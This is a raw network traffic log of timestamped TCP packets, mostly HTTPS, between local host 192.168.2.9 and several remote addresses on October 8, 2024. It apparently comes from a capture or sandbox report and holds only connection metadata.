Oct 8, 2024 20:52:16.145157099 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.145196915 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.145203114 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.145236969 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.145253897 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.145332098 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.145382881 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.145389080 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.145396948 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.145428896 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.145457029 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.145886898 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.145901918 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.145951033 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.145960093 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.145994902 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.146184921 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.146203041 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.146235943 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.146244049 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.146264076 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.146270037 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.146286011 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.146291971 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.146317005 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.146341085 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.237201929 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.237226963 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.237279892 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.237306118 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.237320900 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.237345934 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.238504887 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.238523960 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.238570929 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.238580942 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.238617897 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.238801956 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.238818884 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.238854885 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.238862991 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.238892078 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.238898993 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.239942074 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.239967108 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.240005970 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.240015030 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.240045071 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.240061998 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.240139961 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.240163088 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.240201950 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.240209103 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.240235090 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.240251064 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.240937948 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.240966082 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.241003036 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.241010904 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.241041899 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.241055965 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.241462946 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.241492033 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.241528988 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.241535902 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.241564989 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.241581917 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.241637945 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.241683006 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.241697073 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.241704941 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.241734982 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.241749048 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.269370079 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.328934908 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.328963041 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.329025030 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.329051971 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.329068899 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.329091072 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.329462051 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.329503059 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.329515934 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.329521894 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.329554081 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.329571009 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.329658985 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.329677105 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.329725981 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.329735041 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.329773903 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.331041098 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.331067085 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.331104040 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.331111908 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.331142902 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.331171989 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.331509113 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.331527948 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.331578016 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.331584930 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.331608057 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.331629038 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.331633091 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.331643105 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.331661940 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.331691027 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.331708908 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.331880093 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.331899881 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.331957102 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.331964016 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.332007885 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.332158089 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.332178116 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.332220078 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.332226992 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.332258940 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.332268000 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.435612917 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.435636997 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.435710907 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.435738087 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.435753107 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.435781956 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.436062098 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.436094999 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.436127901 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.436136007 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.436177015 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.436209917 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.436352968 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.436371088 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.436407089 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.436445951 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.436450958 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.436494112 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.436850071 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.436866999 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.436907053 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.436912060 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.436940908 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.436961889 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.437376976 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.437397003 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.437439919 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.437447071 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.437477112 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.437490940 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.437623024 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.437642097 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.437674999 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.437704086 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.437709093 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.437753916 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.437861919 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.437879086 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.437926054 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.437932014 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.437958002 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.437983990 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.528531075 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.528563976 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.528630018 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.528650999 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.528665066 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.528671980 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.528687000 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.528692961 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.528707027 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.528726101 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.528768063 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.528908968 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.528933048 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.528975010 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.528980970 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.528990984 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.529025078 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.529369116 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.529391050 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.529436111 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.529443026 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.529469967 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.529484987 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.529485941 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.529496908 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.529537916 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.529544115 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.529625893 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.529814005 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.529831886 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.529875994 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.529896021 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.529911041 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.529917955 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.529953003 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.529958963 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.529975891 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.529989004 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.530148029 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.530164957 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.530251026 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.530257940 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.530363083 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.557965994 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.558434010 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.558455944 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.558890104 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.558896065 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.559777021 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.560129881 CEST	49792	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.560152054 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.560564041 CEST	49792	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.560569048 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.568892956 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.569354057 CEST	49793	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.569379091 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.570252895 CEST	49793	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.570261002 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.576023102 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.576445103 CEST	49794	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.576467991 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.576925039 CEST	49794	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.576934099 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.585583925 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.586724043 CEST	49795	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.586756945 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.587302923 CEST	49795	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.587307930 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.621099949 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.621123075 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.621172905 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.621192932 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.621207952 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.621231079 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.621232986 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.621248007 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.621279955 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.621283054 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.621331930 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.621337891 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.621411085 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.621469975 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.621495962 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.621524096 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.621557951 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.621562958 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.621598005 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.621752024 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.621771097 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.621807098 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.621814966 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.621826887 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.621849060 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.622051001 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.622070074 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.622117043 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.622123957 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.622155905 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.622164011 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.622200966 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.622208118 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.622222900 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.622248888 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.622263908 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.622267962 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.622296095 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.622390032 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.622642994 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.658001900 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.658020973 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.658068895 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.658102989 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.658387899 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.658436060 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.658577919 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.658600092 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.658612013 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.658617973 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.659003019 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.659162045 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.659204960 CEST	49792	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.662153006 CEST	49792	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.662189007 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.662208080 CEST	49792	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.662214994 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.666085958 CEST	49796	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.666125059 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.666189909 CEST	49796	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.668869972 CEST	49797	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.668915033 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.668973923 CEST	49797	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.669284105 CEST	49796	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.669300079 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.669620991 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.670496941 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.670572042 CEST	49793	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.670661926 CEST	49793	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.670703888 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.670783997 CEST	49793	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.670802116 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.671510935 CEST	49797	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.671525002 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.675913095 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.676248074 CEST	49798	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.676278114 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.676342964 CEST	49798	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.676398993 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.676460981 CEST	49794	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.676536083 CEST	49798	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.676562071 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.676692963 CEST	49794	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.676707029 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.676753044 CEST	49794	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.676765919 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.682867050 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.682905912 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.682966948 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.685050011 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.685069084 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.689825058 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.689905882 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.689965010 CEST	49795	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.690121889 CEST	49795	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.690146923 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.690179110 CEST	49795	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.690186977 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.694313049 CEST	49800	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.694350958 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:16.694411039 CEST	49800	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.695549965 CEST	49800	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:16.695564985 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.190303087 CEST	49802	33445	192.168.2.9	130.133.110.14
